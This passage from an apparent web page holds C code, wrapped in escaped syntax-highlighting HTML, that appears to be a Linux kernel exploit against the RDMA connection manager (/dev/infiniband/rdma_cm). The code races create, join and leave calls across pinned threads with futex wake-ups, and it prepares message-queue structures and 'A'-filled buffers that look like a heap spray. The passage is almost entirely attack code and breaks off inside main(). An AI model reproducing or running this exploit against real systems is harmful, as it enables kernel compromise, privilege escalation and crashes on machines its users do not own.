class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;create thread&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-371\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">fprintf<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">stderr<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;thread create failedn&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-372\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-373\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-374\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-375\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">pthread_attr_init<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">thAttr<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-376\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">pthread_attr_getschedpolicy<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">thAttr<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">policy<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-377\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">max_prio_for_policy<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sched_get_priority_max<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">policy<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-378\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-379\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">pthread_setschedprio<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">tid<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">max_prio_for_policy<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-380\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">pthread_attr_destroy<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">thAttr<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-381\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-382\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-383\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-384\"><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">test<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-385\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-386\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">printf<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;===== run test %d ====n&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">count<\/span><span class=\"crayon-o\">++<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-387\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">long<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">res<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-388\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">memcpy<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-cn\">0x20000680<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;\/dev\/infiniband\/rdma_cm&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">24<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-389\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">res<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">syscall<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">__NR_openat<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xffffffffffffff9c<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x20000680<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-390\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">res<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-391\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">res<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-392\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-393\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">collide<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-394\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">runCreateOrLeave<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/\/ run rdma create on CPU 0 and Thread 1<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-395\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">runJoin<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/\/ run rdma Join on CPU 0 and Thread 0<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-396\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RDMATHREADS<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-o\">++<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-397\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">runCreateOrLeaveNoWait<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/\/ run rdma leave on CPU 1 and Thread<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-398\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-v\">RDMATHREADS<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-399\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-400\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">runCreateOrLeave<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/\/ run rdma leave on CPU 1 and Thread 2<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-401\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-402\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_store_n<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">threadRunning<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELEASE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-403\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-404\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">res<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-405\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">close<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">res<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-406\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-407\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-408\"><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">testTreadWake<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-409\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-410\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">syscall<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">SYS_futex<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">threadWaitting<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">FUTEX_WAKE<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">200<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-411\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">perror<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;threadWaitting_1: &#8220;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-412\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-413\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-414\"><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">main<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-415\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-416\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">syscall<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">__NR_mmap<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x20000000<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x1000000<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x32<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-417\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">memset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">msg<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">mtext<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;x41&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">msg<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">mtext<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-418\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-419\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">msgid<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-420\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">msgInfo <\/span><span class=\"crayon-v\">sendHoleInfo<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-421\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">msgInfo <\/span><span class=\"crayon-v\">recvHoleInfo<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-422\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-423\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">msgInfo <\/span><span class=\"crayon-v\">sendHoleInfo_1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-424\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">msgInfo <\/span><span class=\"crayon-v\">recvHoleInfo_1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-425\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-426\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">threadWaitting<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">mmap<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PROT_READ<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PROT_WRITE<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-427\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">MAP_ANONYMOUS<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">MAP_SHARED<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-428\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">threadWaitting<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-429\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-430\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">threadRunning<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">mmap<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PROT_READ<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PROT_WRITE<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-431\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">MAP_ANONYMOUS<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">MAP_SHARED<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-432\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">threadRunning<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-433\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-434\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ipcThreadStop<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">mmap<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PROT_READ<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PROT_WRITE<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-435\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">MAP_ANONYMOUS<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">MAP_SHARED<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-436\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">ipcThreadStop<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-437\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-438\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span 